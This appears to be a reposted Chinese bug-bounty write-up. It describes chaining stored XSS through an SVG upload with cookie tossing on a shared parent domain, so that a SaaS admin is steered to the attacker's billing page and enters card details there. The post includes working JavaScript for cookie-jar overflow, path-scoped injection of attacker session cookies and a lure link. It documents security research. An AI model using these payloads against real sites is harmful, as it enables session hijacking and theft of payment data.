文章总结: 本文讲述了一个SaaS平台上的客户端漏洞链:攻击者通过SVG文件上传实现存储型XSS,随后利用CookieTossing技术向共享的.company.com域名注入攻击者Cookie并通过路径限制精确劫持billing页面的会话,最终诱导管理员在攻击者实例的账单页面输入信用卡信息,实现敏感数据窃取。该漏洞链展示了跨子域的XSS与Cookie作用域配置不当如何结合产生严重业务安全风险。该报告被平台评为Informational且拒绝披露。 综合评分: 68 文章分类: 渗透测试,漏洞分析,WEB安全,安全大事件
从存储型 XSS 到 Cookie Tossing,再到信用卡盗取
hai dragon hai dragon
安全狗的自我修养
2026年3月26日 15:32 湖南
官网:http://securitytech.cc
大家好,我们又见面了!
几个月前,我在 HackerOne 的一个大型 SaaS 平台中,发现了一条非常有意思的客户端漏洞链。
👉 结果:
- 被标记为 Informational(信息级)
- 申请披露 → ❌ 被拒绝(巧了)
所以我只能隐藏细节,把目标称为:
👉 company.com
🧠 平台运行机制(关键前提)
在讲漏洞链之前,有一个很重要的点:
👉 不同用户有不同实例(instance)
但:
👉 上传的 SVG 文件 统一托管在同一个子域
例如:
something.company.com
⚠️ 这意味着:
- 攻击者:自己的实例
- 受害者:另一个实例
- 但 SVG 在同一个域
👉 攻击流程:
- 攻击者上传恶意 SVG
- 发送链接给受害者
- 受害者打开 → JS 在共享域执行
🔍 初始发现(Stored XSS)
在后台测试时,我发现:
👉 评论功能支持上传文件
于是我上传了一个 SVG,包含:
alert()
💥 结果:成功触发 XSS
👇(点击可查看大图)
⚠️ 但有个问题
XSS 执行在:
something.company.com
而敏感数据在:
admin.company.com
👉 跨子域,直接拿不到
💡 思路突破:Cookie Tossing
问题变成:
👉 能不能影响 admin 域的 session?
🔍 发现关键点
认证 Cookie:
domain = .company.com
👉 作用范围:所有子域
🚨 这意味着:
可以做:
👉 Cookie Tossing(Cookie 投毒)
🎯 攻击目标
后台有一个非常关键的功能:
👉 Billing(账单页面)
- 管理员可以输入信用卡信息
🧨 完整攻击链
🧩 步骤
1️⃣ 触发 Stored XSS(子域)
2️⃣ 制造 Cookie 池压力
3️⃣ 注入攻击者 Cookie
4️⃣ 限定作用路径(billing)
5️⃣ 引导用户访问 billing 页面
🧠 核心技巧:Path 限制
document.cookie ="session_id=ATTACKER_SESSION;
path=/instance/attacker/settings/billing;
domain=.company.com;
Secure;
SameSite=None";
📌 效果:
👉 Cookie 只在以下路径生效:
/instance/attacker/settings/billing
🎯 关键点
👉 不需要劫持整个 session 👉 只需要劫持“支付流程”
💻 关键代码片段
1️⃣ Cookie 池溢出
for (leti=500; i--;) {
document.cookie =`overflow${i}=${i}; path=/; domain=.company.com; Secure`;
}
👉 目的:
- 制造 cookie 压力
- 干扰原有 session
2️⃣ 注入攻击者 Cookie
document.cookie ="koa.sid=ATTACKER_VALUE; path=/instance/attacker/settings/billing; domain=.company.com; Secure; SameSite=None";
document.cookie ="koa.sid.sig=ATTACKER_SIG; path=/instance/attacker/settings/billing; domain=.company.com; Secure; SameSite=None";
3️⃣ 诱导链接(嵌入 SVG)
<ahref="https://admin.company.com/instance/attacker/settings/billing"target="_blank">
Add new Payment Method
</a>
📸 诱导效果(点击可查看大图)
💥 最终效果
👉 当管理员点击:
- 页面看起来正常
- 但实际进入的是:
👉 攻击者实例的 billing 页面
😱 后果
管理员输入:
- 信用卡信息
👉 实际保存到:
👉 攻击者账户
🧾 攻击流程总结
1️⃣ 上传恶意 SVG(攻击者实例) 2️⃣ SVG 托管在共享域 3️⃣ 发送给受害者 4️⃣ 触发 Stored XSS 5️⃣ 执行 Cookie Tossing 6️⃣ 注入攻击者 Cookie 7️⃣ 展示钓鱼按钮 8️⃣ 跳转 billing 页面 9️⃣ 用户输入信用卡
👉 💥 数据被窃取
🧠 本质总结
👉 这个漏洞链结合了:
- Stored XSS
- Cookie 作用域问题
- Cookie Tossing
- 业务逻辑漏洞
🎯 一句话总结
👉 不需要劫持整个系统,只需要劫持“关键路径”
😐 官方态度
👉 该报告被标记为:
Informational
理由:
“政策变更”
📸 拒绝披露(点击查看)
🙌 结尾
感谢阅读!
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 hai dragon hai dragon《从存储型 XSS 到 Cookie Tossing,再到信用卡盗取》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论